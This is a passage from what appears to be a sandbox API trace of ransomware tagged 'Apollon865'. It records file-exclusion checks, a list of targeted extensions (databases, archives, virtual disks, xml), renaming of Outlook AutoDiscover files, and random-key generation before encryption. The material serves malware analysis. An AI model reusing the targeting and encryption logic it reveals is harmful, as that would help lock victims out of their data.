	[0070.181] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.181] lstrlenW (lpString="db") returned 2
	[0070.181] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.181] lstrlenW (lpString="db2") returned 3
	[0070.181] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.181] lstrlenW (lpString="db3") returned 3
	[0070.181] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.181] lstrlenW (lpString="dbf") returned 3
	[0070.181] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.181] lstrlenW (lpString="mdf") returned 3
	[0070.181] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.181] lstrlenW (lpString="mdb") returned 3
	[0070.181] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.181] lstrlenW (lpString="sql") returned 3
	[0070.181] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.181] lstrlenW (lpString="sqlite") returned 6
	[0070.181] lstrcmpiW (lpString1="DE.XML", lpString2="sqlite") returned -1
	[0070.181] lstrlenW (lpString="sqlite3") returned 7
	[0070.181] lstrcmpiW (lpString1=".DE.XML", lpString2="sqlite3") returned -1
	[0070.181] lstrlenW (lpString="sqlitedb") returned 8
	[0070.181] lstrcmpiW (lpString1="O.DE.XML", lpString2="sqlitedb") returned -1
	[0070.181] lstrlenW (lpString="xml") returned 3
	[0070.181] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.181] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML.Apollon865") returned 86
	[0070.181] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.de.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.de.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.de.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.182] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=804) returned 1
	[0070.183] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.183] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.183] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.183] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.185] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.186] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.186] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.187] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.187] lstrcmpiW (lpString1="YAHOO.ES.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.187] lstrcmpiW (lpString1="YAHOO.ES.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.187] lstrcmpiW (lpString1="YAHOO.ES.XML", lpString2=".") returned 1
	[0070.187] lstrcmpiW (lpString1="YAHOO.ES.XML", lpString2="..") returned 1
	[0070.187] lstrcmpiW (lpString1="YAHOO.ES.XML", lpString2="windows") returned 1
	[0070.187] lstrcmpiW (lpString1="YAHOO.ES.XML", lpString2="bootmgr") returned 1
	[0070.187] lstrcmpiW (lpString1="YAHOO.ES.XML", lpString2="temp") returned 1
	[0070.187] lstrcmpiW (lpString1="YAHOO.ES.XML", lpString2="pagefile.sys") returned 1
	[0070.187] lstrcmpiW (lpString1="YAHOO.ES.XML", lpString2="boot") returned 1
	[0070.187] lstrcmpiW (lpString1="YAHOO.ES.XML", lpString2="ids.txt") returned 1
	[0070.187] lstrcmpiW (lpString1="YAHOO.ES.XML", lpString2="ntuser.dat") returned 1
	[0070.187] lstrcmpiW (lpString1="YAHOO.ES.XML", lpString2="perflogs") returned 1
	[0070.187] lstrcmpiW (lpString1="YAHOO.ES.XML", lpString2="MSBuild") returned 1
	[0070.187] lstrlenW (lpString="YAHOO.ES.XML") returned 12
	[0070.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML") returned 75
	[0070.187] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.ES.XML" | out: lpString1="YAHOO.ES.XML") returned="YAHOO.ES.XML"
	[0070.187] lstrlenW (lpString="YAHOO.ES.XML") returned 12
	[0070.187] lstrlenW (lpString="Apollon865") returned 10
	[0070.187] lstrcmpiW (lpString1="HOO.ES.XML", lpString2="Apollon865") returned 1
	[0070.188] lstrlenW (lpString=".dll") returned 4
	[0070.188] lstrcmpiW (lpString1="YAHOO.ES.XML", lpString2=".dll") returned 1
	[0070.188] lstrlenW (lpString=".lnk") returned 4
	[0070.188] lstrcmpiW (lpString1="YAHOO.ES.XML", lpString2=".lnk") returned 1
	[0070.188] lstrlenW (lpString=".ini") returned 4
	[0070.188] lstrcmpiW (lpString1="YAHOO.ES.XML", lpString2=".ini") returned 1
	[0070.188] lstrlenW (lpString=".sys") returned 4
	[0070.188] lstrcmpiW (lpString1="YAHOO.ES.XML", lpString2=".sys") returned 1
	[0070.188] lstrlenW (lpString="YAHOO.ES.XML") returned 12
	[0070.188] lstrlenW (lpString="bak") returned 3
	[0070.188] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.188] lstrlenW (lpString="ba_") returned 3
	[0070.188] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.188] lstrlenW (lpString="dbb") returned 3
	[0070.188] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.188] lstrlenW (lpString="vmdk") returned 4
	[0070.188] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.188] lstrlenW (lpString="rar") returned 3
	[0070.188] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.188] lstrlenW (lpString="zip") returned 3
	[0070.188] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.188] lstrlenW (lpString="tgz") returned 3
	[0070.188] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.188] lstrlenW (lpString="vbox") returned 4
	[0070.188] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.188] lstrlenW (lpString="vdi") returned 3
	[0070.188] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.188] lstrlenW (lpString="vhd") returned 3
	[0070.188] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.188] lstrlenW (lpString="vhdx") returned 4
	[0070.188] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.188] lstrlenW (lpString="avhd") returned 4
	[0070.188] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.188] lstrlenW (lpString="db") returned 2
	[0070.188] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.188] lstrlenW (lpString="db2") returned 3
	[0070.189] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.189] lstrlenW (lpString="db3") returned 3
	[0070.189] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.189] lstrlenW (lpString="dbf") returned 3
	[0070.189] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.189] lstrlenW (lpString="mdf") returned 3
	[0070.189] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.189] lstrlenW (lpString="mdb") returned 3
	[0070.189] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.189] lstrlenW (lpString="sql") returned 3
	[0070.189] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.189] lstrlenW (lpString="sqlite") returned 6
	[0070.189] lstrcmpiW (lpString1="ES.XML", lpString2="sqlite") returned -1
	[0070.189] lstrlenW (lpString="sqlite3") returned 7
	[0070.189] lstrcmpiW (lpString1=".ES.XML", lpString2="sqlite3") returned -1
	[0070.189] lstrlenW (lpString="sqlitedb") returned 8
	[0070.189] lstrcmpiW (lpString1="O.ES.XML", lpString2="sqlitedb") returned -1
	[0070.189] lstrlenW (lpString="xml") returned 3
	[0070.189] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.189] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML.Apollon865") returned 86
	[0070.189] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.es.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.es.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.es.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.190] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=808) returned 1
	[0070.190] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.191] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.191] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.191] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.192] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.193] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.194] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.194] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.194] lstrcmpiW (lpString1="YAHOO.FR.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.194] lstrcmpiW (lpString1="YAHOO.FR.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.194] lstrcmpiW (lpString1="YAHOO.FR.XML", lpString2=".") returned 1
	[0070.194] lstrcmpiW (lpString1="YAHOO.FR.XML", lpString2="..") returned 1
	[0070.194] lstrcmpiW (lpString1="YAHOO.FR.XML", lpString2="windows") returned 1
	[0070.194] lstrcmpiW (lpString1="YAHOO.FR.XML", lpString2="bootmgr") returned 1
	[0070.194] lstrcmpiW (lpString1="YAHOO.FR.XML", lpString2="temp") returned 1
	[0070.194] lstrcmpiW (lpString1="YAHOO.FR.XML", lpString2="pagefile.sys") returned 1
	[0070.194] lstrcmpiW (lpString1="YAHOO.FR.XML", lpString2="boot") returned 1
	[0070.194] lstrcmpiW (lpString1="YAHOO.FR.XML", lpString2="ids.txt") returned 1
	[0070.194] lstrcmpiW (lpString1="YAHOO.FR.XML", lpString2="ntuser.dat") returned 1
	[0070.194] lstrcmpiW (lpString1="YAHOO.FR.XML", lpString2="perflogs") returned 1
	[0070.194] lstrcmpiW (lpString1="YAHOO.FR.XML", lpString2="MSBuild") returned 1
	[0070.194] lstrlenW (lpString="YAHOO.FR.XML") returned 12
	[0070.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML") returned 75
	[0070.194] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.FR.XML" | out: lpString1="YAHOO.FR.XML") returned="YAHOO.FR.XML"
	[0070.195] lstrlenW (lpString="YAHOO.FR.XML") returned 12
	[0070.195] lstrlenW (lpString="Apollon865") returned 10
	[0070.195] lstrcmpiW (lpString1="HOO.FR.XML", lpString2="Apollon865") returned 1
	[0070.195] lstrlenW (lpString=".dll") returned 4
	[0070.195] lstrcmpiW (lpString1="YAHOO.FR.XML", lpString2=".dll") returned 1
	[0070.195] lstrlenW (lpString=".lnk") returned 4
	[0070.195] lstrcmpiW (lpString1="YAHOO.FR.XML", lpString2=".lnk") returned 1
	[0070.195] lstrlenW (lpString=".ini") returned 4
	[0070.195] lstrcmpiW (lpString1="YAHOO.FR.XML", lpString2=".ini") returned 1
	[0070.195] lstrlenW (lpString=".sys") returned 4
	[0070.195] lstrcmpiW (lpString1="YAHOO.FR.XML", lpString2=".sys") returned 1
	[0070.195] lstrlenW (lpString="YAHOO.FR.XML") returned 12
	[0070.195] lstrlenW (lpString="bak") returned 3
	[0070.195] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.195] lstrlenW (lpString="ba_") returned 3
	[0070.195] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.195] lstrlenW (lpString="dbb") returned 3
	[0070.195] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.195] lstrlenW (lpString="vmdk") returned 4
	[0070.195] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.195] lstrlenW (lpString="rar") returned 3
	[0070.195] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.195] lstrlenW (lpString="zip") returned 3
	[0070.195] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.195] lstrlenW (lpString="tgz") returned 3
	[0070.195] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.195] lstrlenW (lpString="vbox") returned 4
	[0070.195] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.195] lstrlenW (lpString="vdi") returned 3
	[0070.195] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.195] lstrlenW (lpString="vhd") returned 3
	[0070.195] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.195] lstrlenW (lpString="vhdx") returned 4
	[0070.195] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.195] lstrlenW (lpString="avhd") returned 4
	[0070.195] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.196] lstrlenW (lpString="db") returned 2
	[0070.196] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.196] lstrlenW (lpString="db2") returned 3
	[0070.196] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.196] lstrlenW (lpString="db3") returned 3
	[0070.196] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.196] lstrlenW (lpString="dbf") returned 3
	[0070.196] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.196] lstrlenW (lpString="mdf") returned 3
	[0070.196] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.196] lstrlenW (lpString="mdb") returned 3
	[0070.196] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.196] lstrlenW (lpString="sql") returned 3
	[0070.196] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.196] lstrlenW (lpString="sqlite") returned 6
	[0070.196] lstrcmpiW (lpString1="FR.XML", lpString2="sqlite") returned -1
	[0070.196] lstrlenW (lpString="sqlite3") returned 7
	[0070.196] lstrcmpiW (lpString1=".FR.XML", lpString2="sqlite3") returned -1
	[0070.196] lstrlenW (lpString="sqlitedb") returned 8
	[0070.196] lstrcmpiW (lpString1="O.FR.XML", lpString2="sqlitedb") returned -1
	[0070.196] lstrlenW (lpString="xml") returned 3
	[0070.196] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.196] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML.Apollon865") returned 86
	[0070.196] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.fr.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.fr.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.fr.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.197] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=804) returned 1
	[0070.197] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.198] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.198] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.198] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.200] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.200] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.201] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.201] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.203] lstrcmpiW (lpString1="YAHOO.HK.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.203] lstrcmpiW (lpString1="YAHOO.HK.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.203] lstrcmpiW (lpString1="YAHOO.HK.XML", lpString2=".") returned 1
	[0070.203] lstrcmpiW (lpString1="YAHOO.HK.XML", lpString2="..") returned 1
	[0070.203] lstrcmpiW (lpString1="YAHOO.HK.XML", lpString2="windows") returned 1
	[0070.203] lstrcmpiW (lpString1="YAHOO.HK.XML", lpString2="bootmgr") returned 1
	[0070.203] lstrcmpiW (lpString1="YAHOO.HK.XML", lpString2="temp") returned 1
	[0070.203] lstrcmpiW (lpString1="YAHOO.HK.XML", lpString2="pagefile.sys") returned 1
	[0070.203] lstrcmpiW (lpString1="YAHOO.HK.XML", lpString2="boot") returned 1
	[0070.203] lstrcmpiW (lpString1="YAHOO.HK.XML", lpString2="ids.txt") returned 1
	[0070.203] lstrcmpiW (lpString1="YAHOO.HK.XML", lpString2="ntuser.dat") returned 1
	[0070.203] lstrcmpiW (lpString1="YAHOO.HK.XML", lpString2="perflogs") returned 1
	[0070.203] lstrcmpiW (lpString1="YAHOO.HK.XML", lpString2="MSBuild") returned 1
	[0070.203] lstrlenW (lpString="YAHOO.HK.XML") returned 12
	[0070.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML") returned 75
	[0070.203] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.HK.XML" | out: lpString1="YAHOO.HK.XML") returned="YAHOO.HK.XML"
	[0070.203] lstrlenW (lpString="YAHOO.HK.XML") returned 12
	[0070.203] lstrlenW (lpString="Apollon865") returned 10
	[0070.204] lstrcmpiW (lpString1="HOO.HK.XML", lpString2="Apollon865") returned 1
	[0070.204] lstrlenW (lpString=".dll") returned 4
	[0070.204] lstrcmpiW (lpString1="YAHOO.HK.XML", lpString2=".dll") returned 1
	[0070.204] lstrlenW (lpString=".lnk") returned 4
	[0070.204] lstrcmpiW (lpString1="YAHOO.HK.XML", lpString2=".lnk") returned 1
	[0070.204] lstrlenW (lpString=".ini") returned 4
	[0070.204] lstrcmpiW (lpString1="YAHOO.HK.XML", lpString2=".ini") returned 1
	[0070.204] lstrlenW (lpString=".sys") returned 4
	[0070.204] lstrcmpiW (lpString1="YAHOO.HK.XML", lpString2=".sys") returned 1
	[0070.204] lstrlenW (lpString="YAHOO.HK.XML") returned 12
	[0070.204] lstrlenW (lpString="bak") returned 3
	[0070.204] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.204] lstrlenW (lpString="ba_") returned 3
	[0070.204] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.204] lstrlenW (lpString="dbb") returned 3
	[0070.204] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.204] lstrlenW (lpString="vmdk") returned 4
	[0070.204] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.204] lstrlenW (lpString="rar") returned 3
	[0070.204] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.204] lstrlenW (lpString="zip") returned 3
	[0070.204] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.204] lstrlenW (lpString="tgz") returned 3
	[0070.204] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.204] lstrlenW (lpString="vbox") returned 4
	[0070.204] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.204] lstrlenW (lpString="vdi") returned 3
	[0070.204] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.204] lstrlenW (lpString="vhd") returned 3
	[0070.204] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.204] lstrlenW (lpString="vhdx") returned 4
	[0070.204] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.204] lstrlenW (lpString="avhd") returned 4
	[0070.204] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.204] lstrlenW (lpString="db") returned 2
	[0070.204] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.204] lstrlenW (lpString="db2") returned 3
	[0070.205] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.205] lstrlenW (lpString="db3") returned 3
	[0070.205] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.205] lstrlenW (lpString="dbf") returned 3
	[0070.205] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.205] lstrlenW (lpString="mdf") returned 3
	[0070.205] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.205] lstrlenW (lpString="mdb") returned 3
	[0070.205] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.205] lstrlenW (lpString="sql") returned 3
	[0070.205] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.205] lstrlenW (lpString="sqlite") returned 6
	[0070.205] lstrcmpiW (lpString1="HK.XML", lpString2="sqlite") returned -1
	[0070.205] lstrlenW (lpString="sqlite3") returned 7
	[0070.205] lstrcmpiW (lpString1=".HK.XML", lpString2="sqlite3") returned -1
	[0070.205] lstrlenW (lpString="sqlitedb") returned 8
	[0070.205] lstrcmpiW (lpString1="O.HK.XML", lpString2="sqlitedb") returned -1
	[0070.205] lstrlenW (lpString="xml") returned 3
	[0070.205] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.205] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML.Apollon865") returned 86
	[0070.205] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.hk.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.hk.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.hk.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.206] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=806) returned 1
	[0070.206] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.207] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.207] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.207] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.208] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.209] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.210] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.210] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.210] lstrcmpiW (lpString1="YAHOO.IE.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.210] lstrcmpiW (lpString1="YAHOO.IE.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.210] lstrcmpiW (lpString1="YAHOO.IE.XML", lpString2=".") returned 1
	[0070.210] lstrcmpiW (lpString1="YAHOO.IE.XML", lpString2="..") returned 1
	[0070.210] lstrcmpiW (lpString1="YAHOO.IE.XML", lpString2="windows") returned 1
	[0070.210] lstrcmpiW (lpString1="YAHOO.IE.XML", lpString2="bootmgr") returned 1
	[0070.210] lstrcmpiW (lpString1="YAHOO.IE.XML", lpString2="temp") returned 1
	[0070.210] lstrcmpiW (lpString1="YAHOO.IE.XML", lpString2="pagefile.sys") returned 1
	[0070.210] lstrcmpiW (lpString1="YAHOO.IE.XML", lpString2="boot") returned 1
	[0070.210] lstrcmpiW (lpString1="YAHOO.IE.XML", lpString2="ids.txt") returned 1
	[0070.210] lstrcmpiW (lpString1="YAHOO.IE.XML", lpString2="ntuser.dat") returned 1
	[0070.211] lstrcmpiW (lpString1="YAHOO.IE.XML", lpString2="perflogs") returned 1
